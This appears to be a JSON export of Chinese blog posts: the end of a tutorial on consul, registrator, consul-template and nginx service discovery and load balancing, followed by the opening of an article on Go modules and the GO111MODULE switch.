meta数据的写入，而当前的latest版本是v7版本，年头较长，并不支持service meta数据写入。\n在所有实验环境节点上执行：\n# docker run --restart=always -d \\ --name=registrator \\ --net=host \\ --volume=/var/run/docker.sock:/tmp/docker.sock \\ gliderlabs/registrator:master\\ consul://localhost:8500 我们看到registrator将node节点上的/var/run/docker.sock映射到容器内部的/tmp/docker.sock上，通过这种方式registrator可以监听到node上docker引擎上的事件变化。registrator的另外一个参数：consul://localhost:8500则是Registrator要写入信息的consul地址（当然Registrator不仅仅支持consul，还支持etcd、zookeeper等），这里传入的是本node上consul server的地址和服务端口。\nRegistrator的启动日志如下：\n# docker logs -f registrator 2018/09/10 05:56:39 Starting registrator v7 ... 2018/09/10 05:56:39 Using consul adapter: consul://localhost:8500 2018/09/10 05:56:39 Connecting to backend (0/0) 2018/09/10 05:56:39 consul: current leader 192.168.0.130:8300 2018/09/10 05:56:39 Listening for Docker events ... 2018/09/10 05:56:39 Syncing services on 1 containers 2018/09/10 05:56:39 ignored: 6ef6ae966ee5 no published ports 在所有节点都启动完Registrator后，我们来先查看一下当前consul集群中service的catelog以及每个catelog下的service的详细信息：\n// consul-1: # curl http://localhost:8500/v1/catalog/services {\u0026quot;consul\u0026quot;:[]} 目前只有consul自己内置的consul service catelog，我们查看一下consul这个catelog service的详细信息：\n// consul-1: # curl localhost:8500/v1/catalog/service/consul|jq % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1189 100 1189 0 0 180k 0 --:--:-- --:--:-- --:--:-- 193k [ { \u0026quot;ID\u0026quot;: \u0026quot;d23b9495-4caa-9ef2-a1d5-7f20aa39fd15\u0026quot;, \u0026quot;Node\u0026quot;: \u0026quot;consul-1\u0026quot;, \u0026quot;Address\u0026quot;: \u0026quot;192.168.0.129\u0026quot;, \u0026quot;Datacenter\u0026quot;: \u0026quot;dc1\u0026quot;, \u0026quot;TaggedAddresses\u0026quot;: { \u0026quot;lan\u0026quot;: \u0026quot;192.168.0.129\u0026quot;, \u0026quot;wan\u0026quot;: \u0026quot;192.168.0.129\u0026quot; }, \u0026quot;NodeMeta\u0026quot;: { \u0026quot;consul-network-segment\u0026quot;: \u0026quot;\u0026quot; }, \u0026quot;ServiceID\u0026quot;: \u0026quot;consul\u0026quot;, \u0026quot;ServiceName\u0026quot;: \u0026quot;consul\u0026quot;, \u0026quot;ServiceTags\u0026quot;: [], \u0026quot;ServiceAddress\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;ServiceMeta\u0026quot;: {}, \u0026quot;ServicePort\u0026quot;: 8300, \u0026quot;ServiceEnableTagOverride\u0026quot;: false, \u0026quot;CreateIndex\u0026quot;: 5, \u0026quot;ModifyIndex\u0026quot;: 5 }, { \u0026quot;ID\u0026quot;: \u0026quot;a215865f-dba7-5caa-cfb3-6850316199a3\u0026quot;, \u0026quot;Node\u0026quot;: \u0026quot;consul-2\u0026quot;, \u0026quot;Address\u0026quot;: \u0026quot;192.168.0.130\u0026quot;, \u0026quot;Datacenter\u0026quot;: \u0026quot;dc1\u0026quot;, \u0026quot;TaggedAddresses\u0026quot;: { \u0026quot;lan\u0026quot;: \u0026quot;192.168.0.130\u0026quot;, \u0026quot;wan\u0026quot;: \u0026quot;192.168.0.130\u0026quot; }, \u0026quot;NodeMeta\u0026quot;: { \u0026quot;consul-network-segment\u0026quot;: \u0026quot;\u0026quot; }, \u0026quot;ServiceID\u0026quot;: \u0026quot;consul\u0026quot;, \u0026quot;ServiceName\u0026quot;: \u0026quot;consul\u0026quot;, \u0026quot;ServiceTags\u0026quot;: [], \u0026quot;ServiceAddress\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;ServiceMeta\u0026quot;: {}, \u0026quot;ServicePort\u0026quot;: 8300, \u0026quot;ServiceEnableTagOverride\u0026quot;: false, \u0026quot;CreateIndex\u0026quot;: 6, \u0026quot;ModifyIndex\u0026quot;: 6 }, { \u0026quot;ID\u0026quot;: \u0026quot;0020b7aa-486a-5b44-b5fd-be000a380a89\u0026quot;, \u0026quot;Node\u0026quot;: \u0026quot;consul-3\u0026quot;, \u0026quot;Address\u0026quot;: \u0026quot;192.168.0.131\u0026quot;, \u0026quot;Datacenter\u0026quot;: \u0026quot;dc1\u0026quot;, \u0026quot;TaggedAddresses\u0026quot;: { \u0026quot;lan\u0026quot;: \u0026quot;192.168.0.131\u0026quot;, \u0026quot;wan\u0026quot;: \u0026quot;192.168.0.131\u0026quot; }, \u0026quot;NodeMeta\u0026quot;: { \u0026quot;consul-network-segment\u0026quot;: \u0026quot;\u0026quot; }, \u0026quot;ServiceID\u0026quot;: \u0026quot;consul\u0026quot;, \u0026quot;ServiceName\u0026quot;: \u0026quot;consul\u0026quot;, \u0026quot;ServiceTags\u0026quot;: [], \u0026quot;ServiceAddress\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;ServiceMeta\u0026quot;: {}, \u0026quot;ServicePort\u0026quot;: 8300, \u0026quot;ServiceEnableTagOverride\u0026quot;: false, \u0026quot;CreateIndex\u0026quot;: 7, \u0026quot;ModifyIndex\u0026quot;: 7 } ] 3. 内部http服务的注册和发现 对于微服务而言，有暴露到外面的，也有仅运行在内部，被内部服务调用的。我们先来看看内部服务，这里以一个http服务为例。\n对于暴露到外部的微服务而言，可以通过域名、路径、端口等来发现。但是对于内部服务，我们怎么发现呢？k8s中我们可以通过k8s集群的DNS插件进行自动域名解析实现，每个pod中container的DNS server指向的就是k8s dns server。这样service之间可以通过使用固定规则的域名(比如：your_svc.default.svc.cluster.local)来访问到另外一个service(仅需配置一个service name)，再通过service实现该服务请求负载均衡到service关联的后端endpoint(pod container)上。consul集群也可以做到这点，并使用consul提供的DNS服务来实现内部服务的发现。\n我们需要对三个节点的DNS配置进行update，将consul DNS server加入到主机DNS resolver(这也是之前在启动consul时将consul DNS的默认监听端口从8600改为53的原因)，步骤如下：\n编辑/etc/resolvconf/resolv.conf.d/base，加入一行：\nnameserver 127.0.0.1\n重启resolveconf服务\n/etc/init.d/resolvconf restart\n再查看/etc/resolve.conf文件：\n# cat /etc/resolv.conf # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) # DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN nameserver 100.100.2.136 nameserver 100.100.2.138 nameserver 127.0.0.1 options timeout:2 attempts:3 rotate single-request-reopen 我们发现127.0.0.1这个DNS server地址已经被加入到/etc/resolv.conf中了（切记：不要直接手工修改/etc/resolve.conf）。\n好了！有了consul DNS，我们就可以发现consul中的服务了。consul给其集群内部的service一个默认的域名：your_svc.service.{data-center}.consul. 之前我们查看了cluster中只有一个consul catelog service，我们就来访问一下该consul service：\n# ping -c 3 consul.service.dc1.consul PING consul.service.dc1.consul (192.168.0.129) 56(84) bytes of data. 64 bytes from iZbp15tvx7it019hvy750tZ (192.168.0.129): icmp_seq=1 ttl=64 time=0.029 ms 64 bytes from iZbp15tvx7it019hvy750tZ (192.168.0.129): icmp_seq=2 ttl=64 time=0.025 ms 64 bytes from iZbp15tvx7it019hvy750tZ (192.168.0.129): icmp_seq=3 ttl=64 time=0.031 ms # ping -c 3 consul.service.dc1.consul PING consul.service.dc1.consul (192.168.0.130) 56(84) bytes of data. 64 bytes from 192.168.0.130: icmp_seq=1 ttl=64 time=0.186 ms 64 bytes from 192.168.0.130: icmp_seq=2 ttl=64 time=0.136 ms 64 bytes from 192.168.0.130: icmp_seq=3 ttl=64 time=0.195 ms # ping -c 3 consul.service.dc1.consul PING consul.service.dc1.consul (192.168.0.131) 56(84) bytes of data. 64 bytes from 192.168.0.131: icmp_seq=1 ttl=64 time=0.149 ms 64 bytes from 192.168.0.131: icmp_seq=2 ttl=64 time=0.184 ms 64 bytes from 192.168.0.131: icmp_seq=3 ttl=64 time=0.179 ms 我们看到consul服务有三个实例，因此DNS轮询在不同ping命令执行时返回了不同的地址。\n现在在主机层面上，我们可以发现consul中的service了。如果我们的服务调用者跑在docker container中，我们还能找到consul服务么？\n# docker run busybox ping consul.service.dc1.consul ping: bad address 'consul.service.dc1.consul' 事实告诉我们：不行！\n那么我们如何让运行于docker container中的服务调用者也能发现consul中的service呢？我们需要给docker引擎指定DNS：\n在/etc/docker/daemon.json中添加下面配置:\n{ \u0026quot;dns\u0026quot;: [\u0026quot;node_ip\u0026quot;, \u0026quot;8.8.8.8\u0026quot;] //node_ip： consul_1为192.168.0.129、consul_2为192.168.0.130、consul_3为192.168.0.131 } 重启docker引擎后，再尝试在容器内发现consul服务：\n# docker run busybox ping consul.service.dc1.consul PING consul.service.dc1.consul (192.168.0.131): 56 data bytes 64 bytes from 192.168.0.131: seq=0 ttl=63 time=0.268 ms 64 bytes from 192.168.0.131: seq=1 ttl=63 time=0.245 ms 64 bytes from 192.168.0.131: seq=2 ttl=63 time=0.235 ms 这次就ok了！\n接下来我们在三个节点上以容器方式启动我们的一个内部http服务demo httpbackend：\n# docker run --restart=always -d -l \u0026quot;SERVICE_NAME=httpbackend\u0026quot; -p 8081:8081 bigwhite/httpbackendservice:v1.0.0 我们查看一下consul集群内的httpbackend service信息：\n# curl localhost:8500/v1/catalog/service/httpbackend|jq % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1374 100 1374 0 0 519k 0 --:--:-- --:--:-- --:--:-- 670k [ { \u0026quot;ID\u0026quot;: \u0026quot;d23b9495-4caa-9ef2-a1d5-7f20aa39fd15\u0026quot;, \u0026quot;Node\u0026quot;: \u0026quot;consul-1\u0026quot;, \u0026quot;Address\u0026quot;: \u0026quot;192.168.0.129\u0026quot;, ... }, { \u0026quot;ID\u0026quot;: \u0026quot;a215865f-dba7-5caa-cfb3-6850316199a3\u0026quot;, \u0026quot;Node\u0026quot;: \u0026quot;consul-2\u0026quot;, \u0026quot;Address\u0026quot;: \u0026quot;192.168.0.130\u0026quot;, ... }, { \u0026quot;ID\u0026quot;: \u0026quot;0020b7aa-486a-5b44-b5fd-be000a380a89\u0026quot;, \u0026quot;Node\u0026quot;: \u0026quot;consul-3\u0026quot;, \u0026quot;Address\u0026quot;: \u0026quot;192.168.0.131\u0026quot;, ... } ] 再访问一下该服务：\n# curl httpbackend.service.dc1.consul:8081 this is httpbackendservice, version: v1.0.0 内部服务发现成功！\n4. 暴露外部http服务 说完了内部服务，我们再来说说那些要暴露到外部的服务，这个环节就轮到consul-template登场了！在我们的实验中，consul-template读取consul中service信息，并结合模板生成nginx配置文件。我们基于默认安装的/etc/nginx/nginx.conf文件内容来编写我们的模板。我们先实验暴露http服务到外面。下面是模板样例：\n//nginx.conf.template .... ... http { ... ... ## # Virtual Host Configs ## include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; # # http server config # {{range services -}} {{$name := .Name}} {{$service := service .Name}} {{- if in .Tags \u0026quot;http\u0026quot; -}} upstream {{$name}} { zone upstream-{{$name}} 64k; {{range $service}} server {{.Address}}:{{.Port}} max_fails=3 fail_timeout=60 weight=1; {{end}} }{{end}} {{end}} {{- range services -}} {{$name := .Name}} {{- if in .Tags \u0026quot;http\u0026quot; -}} server { listen 80; server_name {{$name}}.tonybai.com; location / { proxy_pass http://{{$name}}; } } {{end}} {{end}} } consul-template使用的模板采用的是go template的语法。我们看到在http block中，我们要为consul中的每个要expose到外部的catelog service定义一个server block(对应的域名为your_svc.tonybai.com)和一个upstream block。\n对上面的模板做简单的解析，弄明白三点，模板基本就全明白了：\n{{- range services -}}： 标准的{{ range pipeline }}模板语法，services这个pipeline的调用相当于： curl localhost:8500/v1/catalog/services，即获取catelog services列表。这个列表中的每项仅有Name和Tags两个字段可用。 {{- if in .Tags “http” -}}：判断语句，即如果Tags字段中有http这个tag，那么则暴露该catelog service。 {{range $service}}： 也是标准的{{ range pipeline }}模板语法，$service这个pipeline调用相当于curl localhost:8500/v1/catalog/service/xxxx，即获取某个service xxx的详细信息，包括Address、Port、Tag、Meta等。 接下来，我们在consul-1和consul-2上启动consul-template：\nconsul-1: # nohup consul-template -template \u0026quot;/root/consul-install/templates/nginx.conf.template:/etc/nginx/nginx.conf:nginx -s reload\u0026quot; \u0026gt; consul-template.log \u0026amp; 2\u0026gt;\u0026amp;1 consul-2: # nohup consul-template -template \u0026quot;/root/consul-install/templates/nginx.conf.template:/etc/nginx/nginx.conf:nginx -s reload\u0026quot; \u0026gt; consul-template.log \u0026amp; 2\u0026gt;\u0026amp;1 查看/etc/nginx/nginx.conf，你会发现http server config下面并没有生成任何配置，因为consul集群中还没有满足Tag条件的service（包含tag “http”)。现在我们就来在三个node上创建httpfront services。\n# docker run --restart=always -d -l \u0026quot;SERVICE_NAME=httpfront\u0026quot; -l \u0026quot;SERVICE_TAGS=http\u0026quot; -P bigwhite/httpfrontservice:v1.0.0 查看生成的nginx.conf:\nupstream httpfront { zone upstream-httpfront 64k; server 192.168.0.129:32769 max_fails=3 fail_timeout=60 weight=1; server 192.168.0.130:32768 max_fails=3 fail_timeout=60 weight=1; server 192.168.0.131:32768 max_fails=3 fail_timeout=60 weight=1; } server { listen 80; server_name httpfront.tonybai.com; location / { proxy_pass http://httpfront; } } 测试一下httpfront.tonybai.com(可通过修改/etc/hosts)，httpfront service会调用内部服务httpbackend(通过httpbackend.service.dc1.consul:8081访问)：\n# curl httpfront.tonybai.com this is httpfrontservice, version: v1.0.0, calling backendservice ok, its resp: [this is httpbackendservice, version: v1.0.0 ] 可以在各个节点上查看httpfront的日志：(通过docker logs)，你会发现到httpfront.tonybai.com的请求被均衡到了各个节点上的httpfront service上了：\n{GET / HTTP/1.0 1 0 map[Connection:[close] User-Agent:[curl/7.47.0] Accept:[*/*]] {} \u0026lt;nil\u0026gt; 0 [] true httpfront map[] map[] \u0026lt;nil\u0026gt; map[] 192.168.0.129:35184 / \u0026lt;nil\u0026gt; \u0026lt;nil\u0026gt; \u0026lt;nil\u0026gt; 0xc0000524c0} calling backendservice... {200 OK 200 HTTP/1.1 1 1 map[Date:[Mon, 10 Sep 2018 08:23:33 GMT] Content-Length:[44] Content-Type:[text/plain; charset=utf-8]] 0xc0000808c0 44 [] false false map[] 0xc000132600 \u0026lt;nil\u0026gt;} this is httpbackendservice, version: v1.0.0 5. 暴露外部tcp服务 我们的微服务可不仅仅有http服务的，还有直接暴露tcp socket服务的。nginx对tcp的支持是通过stream block支持的。在stream block中，我们来为每个要暴露在外面的tcp service生成server block和upstream block，这部分模板内容如下：\nstream { {{- range services -}} {{$name := .Name}} {{$service := service .Name}} {{- if in .Tags \u0026quot;tcp\u0026quot; -}} upstream {{$name}} { least_conn; {{- range $service}} server {{.Address}}:{{.Port}} max_fails=3 fail_timeout=30s weight=5; {{ end }} } {{end}} {{end}} {{- range services -}} {{$name := .Name}} {{$nameAndPort := $name | split \u0026quot;-\u0026quot;}} {{- if in .Tags \u0026quot;tcp\u0026quot; -}} server { listen {{ index $nameAndPort 1 }}; proxy_pass {{$name}}; } {{end}} {{end}} } 和之前的http服务模板相比，这里的Tag过滤词换为了**“tcp”**，并且由于端口具有排他性，这里用”名字-端口”串来作为service的name以及upstream block的标识。用一个例子来演示会更加清晰。由于修改了nginx模板，在演示demo前，需要重启一下各个consul-template。\n然后我们在各个节点上启动tcpfront service（注意服务名为tcpfront-9999，9999是tcpfrontservice expose到外部的端口）：\n# docker run -d --restart=always -l \u0026quot;SERVICE_TAGS=tcp\u0026quot; -l \u0026quot;SERVICE_NAME=tcpfront-9999\u0026quot; -P bigwhite/tcpfrontservice:v1.0.0 启动后，我们查看一下生成的nginx.conf:\nstream { upstream tcpfront-9999 { least_conn; server 192.168.0.129:32770 max_fails=3 fail_timeout=30s weight=5; server 192.168.0.130:32769 max_fails=3 fail_timeout=30s weight=5; server 192.168.0.131:32769 max_fails=3 fail_timeout=30s weight=5; } server { listen 9999; proxy_pass tcpfront-9999; } } nginx对外的9999端口对应到集群内的tcpfront服务！这个tcpfront是一个echo服务，我们来测试一下：\n# telnet localhost 9999 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. hello [v1.0.0]2018-09-10 08:56:15.791728641 +0000 UTC m=+531.620462772 [hello ] tonybai [v1.0.0]2018-09-10 08:56:17.658482957 +0000 UTC m=+533.487217127 [tonybai ] 基于暴露tcp服务，我们还可以实现将全透传的https服务暴露到外部。所谓全透传的https服务，即ssl证书配置在服务自身，而不是nginx上面。其实现方式与暴露tcp服务相似，这里就不举例了。\n五. 小结 以上基于consul+consul-template+registrator+nginx实现了一个基本的微服务服务发现和负载均衡框架，但要应用到生产环境还需一些进一步的考量。\n关于服务治理的一些功能，consul 1.2.x版本已经加入了service mesh的support，后续在成熟后可以考虑upgrade consul cluster。\nconsul-template在v0.19.5中还不支持servicemeta的，但在master版本中已经支持，后续利用新版本的consul-template可以实现功能更为丰富的模板，比如实现灰度发布等。\n51短信平台：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/09/10/setup-service-discovery-and-load-balance-based-on-consul/","summary":"\u003ch2 id=\"一-背景\"\u003e一. 背景\u003c/h2\u003e\n\u003cp\u003e随着2018年年初国务院办公厅联合多个部委共同发布了\u003ca href=\"http://www.gov.cn/zhengce/content/2018-04/28/content_5286645.htm\"\u003e《国务院办公厅关于促进“互联网+医疗健康”发展的意见(国办发〔2018〕26号)》\u003c/a\u003e，国内医疗IT领域又迎来了一波互联网医院建设的高潮。不过互联网医院多基于实体医院建设，虽说挂了一个“互联网”的名号，但互联网医院系统也多与传统的院内系统，比如：\u003ca href=\"https://en.wikipedia.org/wiki/Hospital_information_system\"\u003eHIS\u003c/a\u003e、\u003ca href=\"https://en.wikipedia.org/wiki/Laboratory_information_system\"\u003eLIS\u003c/a\u003e、\u003ca href=\"https://en.wikipedia.org/wiki/Picture_archiving_and_communication_system\"\u003ePACS\u003c/a\u003e、\u003ca href=\"https://en.wikipedia.org/wiki/Electronic_health_record\"\u003eEMR\u003c/a\u003e等共享院内的IT基础设施。\u003c/p\u003e\n\u003cp\u003e如果你略微了解过国内医院院内IT系统的现状，你就知道目前的多数医院的IT系统相比于互联网行业、电信等行业来说是相对“落伍”的，这种落伍不仅体现在IT基础设施的专业性和数量上，更体现在对新概念、新技术、新设计理念等应用上。虽然国内医院IT系统在技术层面呈现出“多样性”的特征，但整体上偏陈旧和保守 – - 你可以在全国范围内找到10-15年前的各种主流语言(\u003ca href=\"https://en.wikipedia.org/wiki/Visual_Basic\"\u003eVB\u003c/a\u003e、\u003ca href=\"https://en.wikibooks.org/wiki/Delphi_Programming\"\u003edelphi\u003c/a\u003e、\u003ca href=\"https://en.wikibooks.org/wiki/Delphi_Programming\"\u003ec#\u003c/a\u003e等实现的IT系统，并且系统架构多为两层C/S结构的。\u003c/p\u003e","title":"基于consul实现微服务的服务发现和负载均衡"},{"content":"自2007年“三巨头（Robert Griesemer, Rob Pike, Ken Thompson）”提出设计和实现Go语言以来，Go语言已经发展和演化了十余年了。这十余年来，Go取得了巨大的成就，先后在2009年和2016年当选TIOBE年度最佳编程语言，并在全世界范围内拥有数量庞大的拥趸。不过和其他主流编程语言一样，Go语言也不是完美的，不能满足所有开发者的“口味”。这些年来Go在“包依赖管理”和“缺少泛型”两个方面饱受诟病，它们也是Go粉们最希望Go核心Team重点完善的两个方面。\n今年(2018)年初，Go核心Team的技术leader，也是Go Team最早期成员之一的Russ Cox在个人博客上连续发表了七篇文章，系统阐述了Go team解决“包依赖管理”的技术方案: vgo。vgo的主要思路包括：Semantic Import Versioning、Minimal Version Selection、引入Go module等。这七篇文章的发布引发了Go社区激烈地争论，尤其是MVS(最小版本选择)与目前主流的依赖版本选择方法的相悖让很多传统Go包管理工具的维护者“不满”，尤其是“准官方工具”：dep。vgo方案的提出也意味着dep项目的生命周期即将进入尾声。\n5月份，Russ Cox的Proposal “cmd/go: add package version support to Go toolchain”被accepted，这周五早些时候Russ Cox将vgo的代码merge到Go主干，并将这套机制正式命名为“go module”。由于vgo项目本身就是一个实验原型，merge到主干后，vgo这个术语以及vgo项目的使命也就就此结束了。后续Go modules机制将直接在Go主干上继续演化。\nGo modules是go team在解决包依赖管理方面的一次勇敢尝试，无论如何，对Go语言来说都是一个好事。在本篇文章中，我们就一起来看看这个新引入的go modules机制。\n一. 建立试验环境 由于加入go modules experiment机制的Go 1.11版本尚未正式发布，且go 1.11 beta1版本发布在go modules merge到主干之前，因此我们要进行go module试验只能使用Go tip版本，即主干上的最新版本。我们需要通过编译Go源码包的方式获得支持go module的go编译器：\n编译Go项目源码的前提是你已经安装了一个发布版，比如Go 1.10.3。然后按照下面步骤执行即可：\n$ git clone https://github.com/golang/go.git $ mv go go-tip $ cd go-tip $ ./all.bash Building Go cmd/dist using /root/.bin/go1.10.2. Building Go toolchain1 using /root/.bin/go1.10.2. Building Go bootstrap cmd/go (go_bootstrap) using Go toolchain1. Building Go toolchain2 using go_bootstrap and Go toolchain1. Building Go toolchain3 using go_bootstrap and Go toolchain2. Building packages and commands for linux/amd64. ##### Testing packages. ok archive/tar 0.026s ... ... ##### API check ALL TESTS PASSED --- Installed Go for linux/amd64 in /root/.bin/go-tip Installed commands in /root/.bin/go-tip/bin *** You need to add /root/.bin/go-tip/bin to your PATH. 验证源码编译方式的安装结果：\n# ./go version go version devel +a241922 Fri Jul 13 00:03:31 2018 +0000 linux/amd64 查看有关go module的手册：\n$ ./go help mod usage: go mod [-v] [maintenance flags] Mod performs module maintenance operations as specified by the following flags, which may be combined. The -v flag enables additional output about operations performed. The first group of operations provide low-level editing operations for manipulating go.mod from the command line or in scripts or other tools. They read only go.mod itself; they do not look up any information about the modules involved. The -init flag initializes and writes a new go.mod to the current directory, in effect creating a new module rooted at the current directory. The file go.mod must not already exist. If possible, mod will guess the module path from import comments (see 'go help importpath') or from version control configuration. To override this guess, use the -module flag. (Without -init, mod applies to the current module.) The -module flag changes (or, with -init, sets) the module's path (the go.mod file's module line). ... ... 无法通过编译源码的方式获取go tip版的小伙伴们也不用着急，在后续即将发布的go 1.11 beta2版本中将会包含对go modules的支持，到时候按常规方式安装beta2即可体验go modules。\n二. 传统Go构建以及包依赖管理的回顾 Go在构建设计方面深受Google内部开发实践的影响，比如go get的设计就深受Google内部单一代码仓库(single monorepo)和基于主干(trunk/mainline based)的开发模型的影响：只获取Trunk/mainline代码和版本无感知。\nGoogle内部基于主干的开发模型：\n– 所有开发人员基于主干trunk/mainline开发：提交到trunk或从trunk获取最新的代码（同步到本地workspace）\n– 版本发布时，建立Release branch，release branch实质上就是某一个时刻主干代码的快照；\n– 必须同步到release branch上的bug fix和增强改进代码也通常是先在主干上提交(commit)，然后再cherry-pick到release branch上\n我们知道go get获取的代码会放在$GOPATH/src下面，而go build会在$GOROOT/src和$GOPATH/src下面按照import path去搜索package，由于go get 获取的都是各个package repo的trunk/mainline的代码，因此，Go 1.5之前的Go compiler都是基于目标Go程序依赖包的trunk/mainline代码去编译的。这样的机制带来的问题是显而易见的，至少包括：\n因依赖包的trunk的变化，导致不同人获取和编译你的包/程序时得到的结果实质是不同的，即不能实现reproduceable build 因依赖包的trunk的变化，引入不兼容的实现，导致你的包/程序无法通过编译 因依赖包演进而无法通过编译，导致你的包/程序无法通过编译 为了实现reporduceable build，Go 1.5引入了Vendor机制，Go编译器会优先在vendor下搜索依赖的第三方包，这样如果开发者将特定版本的依赖包存放在vendor下面并提交到code repo，那么所有人理论上都会得到同样的编译结果，从而实现reporduceable build。\n在Go 1.5发布后的若干年，gopher们把注意力都集中在如何利用vendor解决包依赖问题，从手工添加依赖到vendor、手工更新依赖，到一众包依赖管理工具的诞生：比如: govendor、glide以及号称准官方工具的dep，努力地尝试着按照当今主流思路解决着诸如：“钻石型依赖”等难题。\n正当gopher认为dep将“顺理成章”地升级为go toolchain一部分的时候，vgo横空出世，并通过对“Semantic Import Versioning”和”Minimal Version Selected”的设定，在原Go tools上简单快速地实现了Go原生的包依赖管理方案 。vgo就是go module的前身。\n三. go modules定义、experiment开关以及“依赖管理”的工作模式 通常我们会在一个repo(仓库)中创建一组Go package，repo的路径比如：github.com/bigwhite/gocmpp会作为go package的导入路径(import path)，Go 1.11给这样的一组在同一repo下面的packages赋予了一个新的抽象概念: module，并启用一个新的文件go.mod记录module的元信息。\n不过一个repo对应一个module这种说法其实并不精确也并不正确，一个repo当然可以拥有多个module，很多公司或组织是喜欢用monorepo的，这样势必有在单一的monorepo建立多个module的需求，显然go modules也是支持这种情况的。\n图：single repo，single module\n图：single monorepo，multiple modules\n是时候上代码了！\n我们在~/test下建立hello目录（注意：$GOPATH=~/go，显然hello目录并不在GOPATH下面）。hello.go的代码如下：\n// hello.go package main import \u0026quot;bitbucket.org/bigwhite/c\u0026quot; func main() { c.CallC() } 我们构建一下hello.go这个源码文件：\n# go build hello.go hello.go:3:8: cannot find package \u0026quot;bitbucket.org/bigwhite/c\u0026quot; in any of: /root/.bin/go-tip/src/bitbucket.org/bigwhite/c (from $GOROOT) /root/go/src/bitbucket.org/bigwhite/c (from $GOPATH) 构建错误！错误原因很明了：在本地的GOPATH下并没有找到bitbucket.org/bigwhite/c路径的package c。传统fix这个问题的方法是手工将package c通过go get下载到本地(并且go get会自动下载package c所依赖的package d)：\n# go get bitbucket.org/bigwhite/c # go run hello.go call C: master branch --\u0026gt; call D: call D: master branch --\u0026gt; call D end 这种我们最熟悉的Go compiler从$GOPATH下(以及vendor目录下)搜索目标程序的依赖包的模式称为：“GOPATH mode”。\nGOPATH是Go最初设计的产物，在Go语言快速发展的今天，人们日益发现GOPATH似乎不那么重要了，尤其是在引入vendor以及诸多包管理工具后。并且GOPATH的设置还会让Go语言新手感到些许困惑，提高了入门的门槛。Go core team也一直在寻求“去GOPATH”的方案，当然这一过程是循序渐进的。Go 1.8版本中，如果开发者没有显式设置GOPATH，Go会赋予GOPATH一个默认值（在linux上为$HOME/go）。虽说不用再设置GOPATH，但GOPATH还是事实存在的，它在go toolchain中依旧发挥着至关重要的作用。\nGo module的引入在Go 1.8版本上更进了一步，它引入了一种新的依赖管理mode：“module-aware mode”。在该mode下，某源码树(通常是一个repo)的顶层目录下会放置一个go.mod文件，每个go.mod文件定义了一个module，而放置go.mod文件的目录被称为module root目录（通常对应一个repo的root目录，但不是必须的）。module root目录以及其子目录下的所有Go package均归属于该module，除了那些自身包含go.mod文件的子目录。\n在“module-aware mode”下，go编译器将不再在GOPATH下面以及vendor下面搜索目标程序依赖的第三方Go packages。我们来看一下在“module-aware mode”下hello.go的构建过程：\n我们首先在~/test/hello下创建go.mod:\n// go.mod module hello 然后构建hello.go\n# go build hello.go go: finding bitbucket.org/bigwhite/d v0.0.0-20180714005150-3e3f9af80a02 go: finding bitbucket.org/bigwhite/c v0.0.0-20180714063616-861b08fcd24b go: downloading bitbucket.org/bigwhite/c v0.0.0-20180714063616-861b08fcd24b go: downloading bitbucket.org/bigwhite/d v0.0.0-20180714005150-3e3f9af80a02 # ./hello call C: master branch --\u0026gt; call D: call D: master branch --\u0026gt; call D end 我们看到go compiler并没有去使用之前已经下载到GOPATH下的bitbucket.org/bigwhite/c和bitbucket.org/bigwhite/d，而是主动下载了这两个包并成功编译。我们看看执行go build后go.mod文件的内容：\n# cat go.mod module hello require ( bitbucket.org/bigwhite/c v0.0.0-20180714063616-861b08fcd24b bitbucket.org/bigwhite/d v0.0.0-20180714005150-3e3f9af80a02 // indirect ) 我们看到go compiler分析出了hello module的依赖，将其放入go.mod的require区域。由于c、d两个package均没有版本发布(打tag)，因此go compiler使用了c、d的当前最新版，并以Pseudo-versions的形式记录之。并且我们看到：hello module并没有直接依赖d package，因此在d的记录后面通过注释形式标记了indirect，即非直接依赖，也就是传递依赖。\n在“module-aware mode”下，go compiler将下载的依赖包缓存在$GOPATH/pkg/mod下面：\n// $GOPATH/pkg/mod # tree -L 3 . ├── bitbucket.org │ └── bigwhite │ ├── c@v0.0.0-20180714063616-861b08fcd24b │ └── d@v0.0.0-20180714005150-3e3f9af80a02 ├── cache │ ├── download │ │ ├── bitbucket.org │ │ ├── golang.org │ │ └── rsc.io │ └── vcs │ ├── 064503657de46d4574a6ab937a7a3b88fee03aec15729f7493a3dc8e35cc6d80 │ ├── 064503657de46d4574a6ab937a7a3b88fee03aec15729f7493a3dc8e35cc6d80.info │ ├── 0c8659d2f971b567bc9bd6644073413a1534735b75ea8a6f1d4ee4121f78fa5b ... ... 我们看到c、d两个package也是按照“版本”进行缓存的，便于后续在“module-aware mode”下进行包构建使用。\nGo modules机制在go 1.11中是experiment feature，按照Go的惯例，在新的experiment feature首次加入时，都会有一个特性开关，go modules也不例外，GO111MODULE这个临时的环境变量就是go module特性的experiment开关。GO111MODULE有三个值：auto、on和off，默认值为auto。GO111MODULE的值会直接影响Go compiler的“依赖管理”模式的选择（是GOPATH mode还是module-aware mode），我们详细来看一下：\n当GO111MODULE的值为off时，go modules experiment feature关闭，go compiler显然会始终使用GOPATH mode，即无论要构建的源码目录是否在GOPATH路径下，go compiler都会在传统的GOPATH和vendor目录(仅支持在gopath目录下的package)下搜索目标程序依赖的go package；\n当GO111MODULE的值为on时（export GO111MODULE=on），go modules experiment feature始终开启，与off相反，go compiler会始终使用module-aware 